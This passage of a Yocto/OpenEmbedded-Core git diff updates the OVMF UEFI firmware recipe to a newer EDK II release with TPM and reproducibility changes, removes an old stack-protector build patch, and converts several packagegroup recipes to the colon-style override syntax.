-+DEFINE GCC48_ALL_CC_FLAGS = -g -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -ffunction-sections -fdata-sections -fno-stack-protector -include AutoGen.h -fno-common -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
- DEFINE GCC48_IA32_X64_DLINK_COMMON = -nostdlib -Wl,-n,-q,--gc-sections -z common-page-size=0x20
--DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -fno-stack-protector -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
--DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 -fno-stack-protector "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
-+DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
-+DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
- DEFINE GCC48_IA32_X64_ASLDLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,ReferenceAcpiTable -u ReferenceAcpiTable
- DEFINE GCC48_IA32_X64_DLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,$(IMAGE_ENTRY_POINT) -u $(IMAGE_ENTRY_POINT) -Wl,-Map,$(DEST_DIR_DEBUG)/$(BASE_NAME).map,--whole-archive
- DEFINE GCC48_IA32_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x220 DEF(GCC_DLINK2_FLAGS_COMMON)
-@@ -1748,7 +1748,7 @@ DEFINE GCC48_X64_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x228 DEF
- DEFINE GCC48_ASM_FLAGS = DEF(GCC_ASM_FLAGS)
- DEFINE GCC48_ARM_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
- DEFINE GCC48_AARCH64_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
--DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -fstack-protector -mword-relocations
-+DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -mword-relocations
- DEFINE GCC48_ARM_CC_XIPFLAGS = DEF(GCC_ARM_CC_XIPFLAGS)
- DEFINE GCC48_AARCH64_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) -mcmodel=large DEF(GCC_AARCH64_CC_FLAGS)
- DEFINE GCC48_AARCH64_CC_XIPFLAGS = DEF(GCC_AARCH64_CC_XIPFLAGS)
diff --git a/meta/recipes-core/ovmf/ovmf_git.bb b/meta/recipes-core/ovmf/ovmf_git.bb
index 3b5a05e51e..b15d40eac8 100644
--- a/meta/recipes-core/ovmf/ovmf_git.bb
+++ b/meta/recipes-core/ovmf/ovmf_git.bb
@@ -2,25 +2,29 @@ SUMMARY = "OVMF - UEFI firmware for Qemu and KVM"
DESCRIPTION = "OVMF is an EDK II based project to enable UEFI support for \
Virtual Machines. OVMF contains sample UEFI firmware for QEMU and KVM"
HOMEPAGE = "https://github.com/tianocore/tianocore.github.io/wiki/OVMF"
-LICENSE = "BSD-2-Clause"
-LICENSE_class-target = "${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'BSD & OpenSSL', 'BSD', d)}"
+LICENSE = "BSD-2-Clause-Patent"
+LICENSE:class-target = "${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'BSD-2-Clause-Patent & OpenSSL', 'BSD-2-Clause-Patent', d)}"
LIC_FILES_CHKSUM = "file://OvmfPkg/License.txt;md5=06357ddc23f46577c2aeaeaf7b776d65"
# Enabling Secure Boot adds a dependency on OpenSSL and implies
# compiling OVMF twice, so it is disabled by default. Distros
# may change that default.
PACKAGECONFIG ??= ""
+PACKAGECONFIG += "${@bb.utils.contains('MACHINE_FEATURES', 'tpm', 'tpm', '', d)}"
+PACKAGECONFIG += "${@bb.utils.contains('MACHINE_FEATURES', 'tpm2', 'tpm', '', d)}"
PACKAGECONFIG[secureboot] = ",,,"
-
-SRC_URI = "gitsm://github.com/tianocore/edk2.git;branch=master;protocol=git \
- file://0002-ovmf-update-path-to-native-BaseTools.patch \
- file://0003-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch \
- file://0004-ovmf-enable-long-path-file.patch \
- file://no-stack-protector-all-archs.patch \
- "
-
-PV = "edk2-stable201905"
-SRCREV="20d2e5a125e34fc8501026613a71549b2a1a3e54"
+PACKAGECONFIG[tpm] = "-D TPM_ENABLE=TRUE,-D TPM_ENABLE=FALSE,,"
+
+SRC_URI = "gitsm://github.com/tianocore/edk2.git;branch=master;protocol=https \
+ file://0001-ovmf-update-path-to-native-BaseTools.patch \
+ file://0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch \
+ file://0003-ovmf-Update-to-latest.patch \
+ file://0005-debug-prefix-map.patch \
+ file://0006-reproducible.patch \
+ "
+
+PV = "edk2-stable202202"
+SRCREV = "b24306f15daa2ff8510b06702114724b33895d3c"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>edk2-stable.*)"
inherit deploy
@@ -29,10 +33,7 @@ PARALLEL_MAKE = ""
S = "${WORKDIR}/git"
-DEPENDS_class-native="util-linux-native iasl-native"
-DEPENDS_class-target="ovmf-native bc-native"
-
-DEPENDS_append = " nasm-native"
+DEPENDS = "nasm-native acpica-native ovmf-native util-linux-native"
EDK_TOOLS_DIR="edk2_basetools"
@@ -40,7 +41,7 @@ EDK_TOOLS_DIR="edk2_basetools"
BUILD_OPTIMIZATION="-pipe"
# OVMF supports IA only, although it could conceivably support ARM someday.
-COMPATIBLE_HOST='(i.86|x86_64).*'
+COMPATIBLE_HOST:class-target='(i.86|x86_64).*'
# Additional build flags for OVMF with Secure Boot.
# Fedora also uses "-D SMM_REQUIRE -D EXCLUDE_SHELL_FROM_FD".
@@ -52,7 +53,7 @@ export PYTHON_COMMAND = "${HOSTTOOLS_DIR}/python3"
do_patch[postfuncs] += "fix_basetools_location"
fix_basetools_location () {
}
-fix_basetools_location_class-target() {
+fix_basetools_location:class-target() {
# Replaces the fake path inserted by 0002-ovmf-update-path-to-native-BaseTools.patch.
# Necessary for finding the actual BaseTools from ovmf-native.
sed -i -e 's#BBAKE_EDK_TOOLS_PATH#${STAGING_BINDIR_NATIVE}/${EDK_TOOLS_DIR}#' ${S}/OvmfPkg/build.sh
@@ -61,7 +62,7 @@ fix_basetools_location_class-target() {
do_patch[postfuncs] += "fix_iasl"
fix_iasl() {
}
-fix_iasl_class-native() {
+fix_iasl:class-native() {
# iasl is not installed under /usr/bin when building with OE.
sed -i -e 's#/usr/bin/iasl#${STAGING_BINDIR_NATIVE}/iasl#' ${S}/BaseTools/Conf/tools_def.template
}
@@ -80,14 +81,14 @@ fix_toolchain() {
-e '/^VFR_CPPFLAGS/a CC = ${CC}\nCXX = ${CXX}\nAS = ${AS}\nAR = ${AR}\nLD = ${LD}' \
${S}/BaseTools/Source/C/VfrCompile/GNUmakefile
}
-fix_toolchain_append_class-native() {
+fix_toolchain:append:class-native() {
# This tools_def.template is going to be used by the target ovmf and
# defines which compilers to use. For the GCC toolchain definitions,
# that will be ${HOST_PREFIX}gcc. However, "make" doesn't need that
# prefix.
#
# Injecting ENV(HOST_PREFIX) matches exporting that value as env
- # variable in do_compile_class-target.
+ # variable in do_compile:class-target.
sed -i \
-e 's#\(ENV\|DEF\)(GCC.*_PREFIX)#ENV(HOST_PREFIX)#' \
-e 's#ENV(HOST_PREFIX)make#make#' \
@@ -104,9 +105,23 @@ fix_toolchain_append_class-native() {
# to make ovmf-native reusable across distros.
sed -i \
-e 's#^\(DEFINE GCC.*DLINK.*FLAGS *=\)#\1 -fuse-ld=bfd#' \
+ -e 's#-flto#-fno-lto#g' \
+ -e 's#-DUSING_LTO##g' \
${S}/BaseTools/Conf/tools_def.template
}
+# We disable lto above since the results are not reproducible and make it hard to compare
+# binary build aretfacts to debug reproducibility problems.
+# Surprisingly, if you disable lto, you see compiler warnings which are fatal. We therefore
+# have to hack warnings overrides into GCC_PREFIX_MAP to allow it to build.
+
+# We want to pass ${DEBUG_PREFIX_MAP} to gcc commands and also pass in
+# --debug-prefix-map to nasm (we carry a patch to nasm for this). The
+# tools definitions are built by ovmf-native so we need to pass this in
+# at target build time when we know the right values.
+export NASM_PREFIX_MAP = "--debug-prefix-map=${WORKDIR}=/usr/src/debug/ovmf/${EXTENDPE}${PV}-${PR}"
+export GCC_PREFIX_MAP = "${DEBUG_PREFIX_MAP} -Wno-stringop-overflow -Wno-maybe-uninitialized"
+
GCC_VER="$(${CC} -v 2>&1 | tail -n1 | awk '{print $3}')"
fixup_target_tools() {
@@ -136,11 +151,11 @@ fixup_target_tools() {
echo ${FIXED_GCCVER}
}
-do_compile_class-native() {
+do_compile:class-native() {
oe_runmake -C ${S}/BaseTools
}
-do_compile_class-target() {
+do_compile:class-target() {
export LFLAGS="${LDFLAGS}"
PARALLEL_JOBS="${@oe.utils.parallel_make_argument(d, '-n %d')}"
OVMF_ARCH="X64"
@@ -172,7 +187,7 @@ do_compile_class-target() {
bbnote "Building without Secure Boot."
rm -rf ${S}/Build/Ovmf$OVMF_DIR_SUFFIX
- ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER}
+ ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${PACKAGECONFIG_CONFARGS}
ln ${build_dir}/FV/OVMF.fd ${WORKDIR}/ovmf/ovmf.fd
ln ${build_dir}/FV/OVMF_CODE.fd ${WORKDIR}/ovmf/ovmf.code.fd
ln ${build_dir}/FV/OVMF_VARS.fd ${WORKDIR}/ovmf/ovmf.vars.fd
@@ -182,19 +197,19 @@ do_compile_class-target() {
# Repeat build with the Secure Boot flags.
bbnote "Building with Secure Boot."
rm -rf ${S}/Build/Ovmf$OVMF_DIR_SUFFIX
- ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${OVMF_SECURE_BOOT_FLAGS}
+ ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${PACKAGECONFIG_CONFARGS} ${OVMF_SECURE_BOOT_FLAGS}
ln ${build_dir}/FV/OVMF.fd ${WORKDIR}/ovmf/ovmf.secboot.fd
ln ${build_dir}/FV/OVMF_CODE.fd ${WORKDIR}/ovmf/ovmf.secboot.code.fd
ln ${build_dir}/${OVMF_ARCH}/EnrollDefaultKeys.efi ${WORKDIR}/ovmf/
fi
}
-do_install_class-native() {
+do_install:class-native() {
install -d ${D}/${bindir}/edk2_basetools
cp -r ${S}/BaseTools ${D}/${bindir}/${EDK_TOOLS_DIR}
}
-do_install_class-target() {
+do_install:class-target() {
# Content for UEFI shell iso. We install the EFI shell as
# bootx64/ia32.efi because then it can be started even when the
# firmware itself does not contain it.
@@ -211,20 +226,19 @@ do_install_class-target() {
#
# However, EnrollDefaultKeys.efi is only included when Secure Boot is enabled.
PACKAGES =+ "ovmf-shell-efi"
-FILES_ovmf-shell-efi = " \
+FILES:ovmf-shell-efi = " \
EnrollDefaultKeys.efi \
efi/ \
"
DEPLOYDEP = ""
-DEPLOYDEP_class-target = "qemu-system-native:do_populate_sysroot"
-DEPLOYDEP_class-target += " ${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'openssl-native:do_populate_sysroot', '', d)}"
+DEPLOYDEP:class-target = "qemu-system-native:do_populate_sysroot"
+DEPLOYDEP:class-target += " ${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'openssl-native:do_populate_sysroot', '', d)}"
do_deploy[depends] += "${DEPLOYDEP}"
do_deploy() {
}
-do_deploy[cleandirs] = "${DEPLOYDIR}"
-do_deploy_class-target() {
+do_deploy:class-target() {
# For use with "runqemu ovmf".
for i in \
ovmf \
diff --git a/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb b/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
index ae989011f4..9166a0851f 100644
--- a/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
+++ b/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
@@ -9,7 +9,9 @@ inherit packagegroup nativesdk
PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
-RDEPENDS_${PN} = "\
+# autoconf pulls in nativesdk-perl but perl-module-integer is needed to
+# build some recent linux kernels (5.14+) for arm
+RDEPENDS:${PN} = "\
nativesdk-pkgconfig \
nativesdk-qemu \
nativesdk-qemu-helper \
@@ -23,13 +25,14 @@ RDEPENDS_${PN} = "\
nativesdk-makedevs \
nativesdk-cmake \
nativesdk-meson \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'nativesdk-wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'nativesdk-wayland-tools nativesdk-wayland-dev', '', d)} \
nativesdk-sdk-provides-dummy \
nativesdk-bison \
nativesdk-flex \
+ nativesdk-perl-module-integer \
"
-RDEPENDS_${PN}_darwin = "\
+RDEPENDS:${PN}:darwin = "\
nativesdk-pkgconfig \
nativesdk-opkg \
nativesdk-libtool \
diff --git a/meta/recipes-core/packagegroups/packagegroup-base.bb b/meta/recipes-core/packagegroups/packagegroup-base.bb
index 1f802da09b..7489ef61b0 100644
--- a/meta/recipes-core/packagegroups/packagegroup-base.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-base.bb
@@ -8,7 +8,6 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit packagegroup
-PROVIDES = "${PACKAGES}"
PACKAGES = ' \
packagegroup-base \
packagegroup-base-extended \
@@ -48,7 +47,7 @@ VIRTUAL-RUNTIME_keymaps ?= "keymaps"
#
# packagegroup-base contain stuff needed for base system (machine related)
#
-RDEPENDS_packagegroup-base = "\
+RDEPENDS:packagegroup-base = "\
packagegroup-distro-base \
packagegroup-machine-base \
\
@@ -80,7 +79,7 @@ RDEPENDS_packagegroup-base = "\
"
-RRECOMMENDS_packagegroup-base = "\
+RRECOMMENDS:packagegroup-base = "\
kernel-module-nls-utf8 \
kernel-module-input \
kernel-module-uinput \
@@ -89,7 +88,7 @@ RRECOMMENDS_packagegroup-base = "\
kernel-module-rtc-sysfs \
kernel-module-unix"
-RDEPENDS_packagegroup-base-extended = "\
+RDEPENDS:packagegroup-base-extended = "\
packagegroup-base \
${ADD_WIFI} \
${ADD_BT} \
@@ -110,82 +109,84 @@ python __anonymous () {
machine_features= set(d.getVar("MACHINE_FEATURES").split())
if "bluetooth" in distro_features and not "bluetooth" in machine_features and ("pcmcia" in machine_features or "pci" in machine_features or "usbhost" in machine_features):
- d.setVar("ADD_BT", "packagegroup-base-bluetooth")
+ d.setVar("ADD_BT", "${MLPREFIX}packagegroup-base-bluetooth")
if "wifi" in distro_features and not "wifi" in machine_features and ("pcmcia" in machine_features or "pci" in machine_features or "usbhost" in machine_features):
- d.setVar("ADD_WIFI", "packagegroup-base-wifi")
+ d.setVar("ADD_WIFI", "${MLPREFIX}packagegroup-base-wifi")
if "3g" in distro_features and not "3g" in machine_features and ("pcmcia" in machine_features or "pci" in machine_features or "usbhost" in machine_features):
- d.setVar("ADD_3G", "packagegroup-base-3g")
+ d.setVar("ADD_3G", "${MLPREFIX}packagegroup-base-3g")
if "nfc" in distro_features and not "nfc" in machine_features and ("usbhost" in machine_features):
- d.setVar("ADD_NFC", "packagegroup-base-nfc")
+ d.setVar("ADD_NFC", "${MLPREFIX}packagegroup-base-nfc")
}
#
# packages added by distribution
#
-SUMMARY_packagegroup-distro-base = "${DISTRO} extras"
+SUMMARY:packagegroup-distro-base = "${DISTRO} extras"
DEPENDS_packagegroup-distro-base = "${DISTRO_EXTRA_DEPENDS}"
-RDEPENDS_packagegroup-distro-base = "${DISTRO_EXTRA_RDEPENDS}"
-RRECOMMENDS_packagegroup-distro-base = "${DISTRO_EXTRA_RRECOMMENDS}"
+RDEPENDS:packagegroup-distro-base = "${DISTRO_EXTRA_RDEPENDS}"
+RRECOMMENDS:packagegroup-distro-base = "${DISTRO_EXTRA_RRECOMMENDS}"
#
# packages added by machine config
#
-SUMMARY_packagegroup-machine-base = "${MACHINE} extras"
-SUMMARY_packagegroup-machine-base = "Extra packages required to fully support ${MACHINE} hardware"
-RDEPENDS_packagegroup-machine-base = "${MACHINE_EXTRA_RDEPENDS}"
-RRECOMMENDS_packagegroup-machine-base = "${MACHINE_EXTRA_RRECOMMENDS}"
+SUMMARY:packagegroup-machine-base = "${MACHINE} extras"
+SUMMARY:packagegroup-machine-base = "Extra packages required to fully support ${MACHINE} hardware"
+RDEPENDS:packagegroup-machine-base = "${MACHINE_EXTRA_RDEPENDS}"
+RRECOMMENDS:packagegroup-machine-base = "${MACHINE_EXTRA_RRECOMMENDS}"
-SUMMARY_packagegroup-base-keyboard = "Keyboard support"
-RDEPENDS_packagegroup-base-keyboard = "\
+SUMMARY:packagegroup-base-keyboard = "Keyboard support"
+RDEPENDS:packagegroup-base-keyboard = "\
${VIRTUAL-RUNTIME_keymaps}"
-SUMMARY_packagegroup-base-pci = "PCI bus support"
-RDEPENDS_packagegroup-base-pci = "\
+SUMMARY:packagegroup-base-pci = "PCI bus support"
+RDEPENDS:packagegroup-base-pci = "\
pciutils"
-SUMMARY_packagegroup-base-acpi = "ACPI support"
-RDEPENDS_packagegroup-base-acpi = "\
+SUMMARY:packagegroup-base-acpi = "ACPI support"
+RDEPENDS:packagegroup-base-acpi = "\
acpid"
-SUMMARY_packagegroup-base-apm = "APM support"
-RDEPENDS_packagegroup-base-apm = "\
+SUMMARY:packagegroup-base-apm = "APM support"
+RDEPENDS:packagegroup-base-apm = "\
${VIRTUAL-RUNTIME_apm} \
apmd"
-SUMMARY_packagegroup-base-ext2 = "ext2 filesystem support"
-RDEPENDS_packagegroup-base-ext2 = "\
- hdparm \
- e2fsprogs \
+SUMMARY:packagegroup-base-ext2 = "ext2 filesystem support"
+RDEPENDS:packagegroup-base-ext2 = "\
e2fsprogs-e2fsck \
e2fsprogs-mke2fs"
-SUMMARY_packagegroup-base-vfat = "FAT filesystem support"
-RRECOMMENDS_packagegroup-base-vfat = "\
+RRECOMMENDS:packagegroup-base-ext2 = "\
+ hdparm \
+ e2fsprogs"
+
+SUMMARY:packagegroup-base-vfat = "FAT filesystem support"
+RRECOMMENDS:packagegroup-base-vfat = "\
kernel-module-msdos \
kernel-module-vfat \
kernel-module-nls-iso8859-1 \
kernel-module-nls-cp437 \
dosfstools"
-SUMMARY_packagegroup-base-alsa = "ALSA sound support"
-RDEPENDS_packagegroup-base-alsa = "\
+SUMMARY:packagegroup-base-alsa = "ALSA sound support"
+RDEPENDS:packagegroup-base-alsa = "\
alsa-utils-alsactl \
- alsa-utils-alsamixer \
+ alsa-utils-amixer \
${VIRTUAL-RUNTIME_alsa-state}"
-RRECOMMENDS_packagegroup-base-alsa = "\
+RRECOMMENDS:packagegroup-base-alsa = "\
kernel-module-snd-mixer-oss \
kernel-module-snd-pcm-oss"
-SUMMARY_packagegroup-base-pcmcia = "PC card slot support"
-RDEPENDS_packagegroup-base-pcmcia = "\
+SUMMARY:packagegroup-base-pcmcia = "PC card slot support"
+RDEPENDS:packagegroup-base-pcmcia = "\
pcmciautils \
"
-RRECOMMENDS_packagegroup-base-pcmcia = "\
+RRECOMMENDS:packagegroup-base-pcmcia = "\
kernel-module-pcmcia \
kernel-module-airo-cs \
kernel-module-pcnet-cs \
@@ -196,12 +197,12 @@ RRECOMMENDS_packagegroup-base-pcmcia = "\
${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'kernel-module-orinoco-cs', '',d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'kernel-module-spectrum-cs', '',d)}"
-SUMMARY_packagegroup-base-bluetooth = "Bluetooth support"
-RDEPENDS_packagegroup-base-bluetooth = "\
+SUMMARY:packagegroup-base-bluetooth = "Bluetooth support"
+RDEPENDS:packagegroup-base-bluetooth = "\
bluez5 \
"
-RRECOMMENDS_packagegroup-base-bluetooth = "\
+RRECOMMENDS:packagegroup-base-bluetooth = "\
kernel-module-bluetooth \
kernel-module-l2cap \
kernel-module-rfcomm \
@@ -217,19 +218,19 @@ RRECOMMENDS_packagegroup-base-bluetooth = "\
${@bb.utils.contains('COMBINED_FEATURES', 'pcmcia', 'kernel-module-dtl1-cs', '',d)} \
"
-SUMMARY_packagegroup-base-usbgadget = "USB gadget support"
-RRECOMMENDS_packagegroup-base-usbgadget = "\
+SUMMARY:packagegroup-base-usbgadget = "USB gadget support"
+RRECOMMENDS:packagegroup-base-usbgadget = "\
kernel-module-pxa27x_udc \
kernel-module-gadgetfs \
kernel-module-g-file-storage \
kernel-module-g-serial \
kernel-module-g-ether"
-SUMMARY_packagegroup-base-usbhost = "USB host support"
-RDEPENDS_packagegroup-base-usbhost = "\
+SUMMARY:packagegroup-base-usbhost = "USB host support"
+RDEPENDS:packagegroup-base-usbhost = "\
usbutils "
-RRECOMMENDS_packagegroup-base-usbhost = "\
+RRECOMMENDS:packagegroup-base-usbhost = "\
kernel-module-uhci-hcd \
kernel-module-ohci-hcd \
kernel-module-ehci-hcd \
@@ -243,36 +244,36 @@ RRECOMMENDS_packagegroup-base-usbhost = "\
kernel-module-usbserial \
kernel-module-usb-storage "
-SUMMARY_packagegroup-base-ppp = "PPP dial-up protocol support"
-RDEPENDS_packagegroup-base-ppp = "\
+SUMMARY:packagegroup-base-ppp = "PPP dial-up protocol support"
+RDEPENDS:packagegroup-base-ppp = "\
ppp \
ppp-dialin"
-RRECOMMENDS_packagegroup-base-ppp = "\
+RRECOMMENDS:packagegroup-base-ppp = "\
kernel-module-ppp-async \
kernel-module-ppp-deflate \
kernel-module-ppp-generic \
kernel-module-ppp-mppe \
kernel-module-slhc"
-SUMMARY_packagegroup-base-ipsec = "IPSEC support"
-RDEPENDS_packagegroup-base-ipsec = "\
+SUMMARY:packagegroup-base-ipsec = "IPSEC support"
+RDEPENDS:packagegroup-base-ipsec = "\
"
-RRECOMMENDS_packagegroup-base-ipsec = "\
+RRECOMMENDS:packagegroup-base-ipsec = "\
kernel-module-ipsec"
#
# packagegroup-base-wifi contain everything needed to get WiFi working
# WEP/WPA connection needs to be supported out-of-box
#
-SUMMARY_packagegroup-base-wifi = "WiFi support"
-RDEPENDS_packagegroup-base-wifi = "\
+SUMMARY:packagegroup-base-wifi = "WiFi support"
+RDEPENDS:packagegroup-base-wifi = "\
iw \
wireless-regdb-static \
wpa-supplicant"
-RRECOMMENDS_packagegroup-base-wifi = "\
+RRECOMMENDS:packagegroup-base-wifi = "\
${@bb.utils.contains('COMBINED_FEATURES', 'usbhost', 'kernel-module-zd1211rw', '',d)} \
kernel-module-ieee80211-crypt \
kernel-module-ieee80211-crypt-ccmp \
@@ -286,59 +287,59 @@ RRECOMMENDS_packagegroup-base-wifi = "\
kernel-module-aes-generic \
kernel-module-aes"
-SUMMARY_packagegroup-base-nfc = "Near Field Communication support"
-RDEPENDS_packagegroup-base-nfc = "\
+SUMMARY:packagegroup-base-nfc = "Near Field Communication support"
+RDEPENDS:packagegroup-base-nfc = "\
neard"
-RRECOMMENDS_packagegroup-base-nfc = "\
+RRECOMMENDS:packagegroup-base-nfc = "\
kernel-module-nfc"
-SUMMARY_packagegroup-base-3g = "Cellular data support"
-RDEPENDS_packagegroup-base-3g = "\
+SUMMARY:packagegroup-base-3g = "Cellular data support"
+RDEPENDS:packagegroup-base-3g = "\
ofono"
-RRECOMMENDS_packagegroup-base-3g = "\
+RRECOMMENDS:packagegroup-base-3g = "\
kernel-module-cdc-acm \
kernel-module-cdc-wdm"
-SUMMARY_packagegroup-base-smbfs = "SMB network filesystem support"
-RRECOMMENDS_packagegroup-base-smbfs = "\
+SUMMARY:packagegroup-base-smbfs = "SMB network filesystem support"
+RRECOMMENDS:packagegroup-base-smbfs = "\
kernel-module-cifs \
kernel-module-smbfs"
-SUMMARY_packagegroup-base-cramfs = "cramfs filesystem support"
-RRECOMMENDS_packagegroup-base-cramfs = "\
+SUMMARY:packagegroup-base-cramfs = "cramfs filesystem support"
+RRECOMMENDS:packagegroup-base-cramfs = "\
kernel-module-cramfs"
#
# packagegroup-base-nfs provides ONLY client support - server is in nfs-utils package
#
-SUMMARY_packagegroup-base-nfs = "NFS network filesystem support"
-RDEPENDS_packagegroup-base-nfs = "\
+SUMMARY:packagegroup-base-nfs = "NFS network filesystem support"
+RDEPENDS:packagegroup-base-nfs = "\
rpcbind"
-RRECOMMENDS_packagegroup-base-nfs = "\
+RRECOMMENDS:packagegroup-base-nfs = "\
kernel-module-nfs "
-SUMMARY_packagegroup-base-zeroconf = "Zeroconf support"
-RDEPENDS_packagegroup-base-zeroconf = "\
+SUMMARY:packagegroup-base-zeroconf = "Zeroconf support"
+RDEPENDS:packagegroup-base-zeroconf = "\
avahi-daemon"
-RDEPENDS_packagegroup-base-zeroconf_append_libc-glibc = "\
+RDEPENDS:packagegroup-base-zeroconf:append:libc-glibc = "\
libnss-mdns \
"
-SUMMARY_packagegroup-base-ipv6 = "IPv6 support"
-RDEPENDS_packagegroup-base-ipv6 = "\
+SUMMARY:packagegroup-base-ipv6 = "IPv6 support"
+RDEPENDS:packagegroup-base-ipv6 = "\
"
-RRECOMMENDS_packagegroup-base-ipv6 = "\
+RRECOMMENDS:packagegroup-base-ipv6 = "\
kernel-module-ipv6 "
-SUMMARY_packagegroup-base-serial = "Serial port support"
-RDEPENDS_packagegroup-base-serial = "\
+SUMMARY:packagegroup-base-serial = "Serial port support"
+RDEPENDS:packagegroup-base-serial = "\
setserial \
lrzsz "
-SUMMARY_packagegroup-base-phone = "Cellular telephony (voice) support"
-RDEPENDS_packagegroup-base-phone = "\
+SUMMARY:packagegroup-base-phone = "Cellular telephony (voice) support"
+RDEPENDS:packagegroup-base-phone = "\
ofono"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-boot.bb b/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
index abbee14bd4..faf7bc0026 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
@@ -22,7 +22,7 @@ SYSVINIT_SCRIPTS = "${@bb.utils.contains('MACHINE_FEATURES', 'rtc', '${VIRTUAL-R
${VIRTUAL-RUNTIME_initscripts} \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-files \
base-passwd \
${VIRTUAL-RUNTIME_base-utils} \
@@ -36,6 +36,6 @@ RDEPENDS_${PN} = "\
${VIRTUAL-RUNTIME_update-alternatives} \
${MACHINE_ESSENTIAL_EXTRA_RDEPENDS}"
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${VIRTUAL-RUNTIME_base-utils-syslog} \
${MACHINE_ESSENTIAL_EXTRA_RRECOMMENDS}"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb b/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
index 78cc65db87..2cd67ad05f 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
@@ -5,9 +5,12 @@
SUMMARY = "Essential build dependencies"
+# libstdc++ gets debian renamed
+PACKAGE_ARCH = "${TUNE_PKGARCH}"
+
inherit packagegroup
-RDEPENDS_packagegroup-core-buildessential = "\
+RDEPENDS:packagegroup-core-buildessential = "\
autoconf \
automake \
binutils \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb b/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
index c45463fc6c..4e91aaf47b 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
@@ -2,7 +2,7 @@ SUMMARY = "Remote debugging tools for Eclipse integration"
inherit packagegroup
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
gdbserver \
tcf-agent \
openssh-sftp-server \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb b/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
index b345e314ad..35beb3fc05 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
@@ -7,14 +7,13 @@ PR = "r2"
inherit packagegroup
-PROVIDES = "${PACKAGES}"
PACKAGES = "${PN}-server ${PN}-client"
-SUMMARY_${PN}-client = "NFS client"
-RDEPENDS_${PN}-client = "nfs-utils-client"
+SUMMARY:${PN}-client = "NFS client"
+RDEPENDS:${PN}-client = "nfs-utils-client"
-SUMMARY_${PN}-server = "NFS server"
-RDEPENDS_${PN}-server = "\
+SUMMARY:${PN}-server = "NFS server"
+RDEPENDS:${PN}-server = "\
nfs-utils \
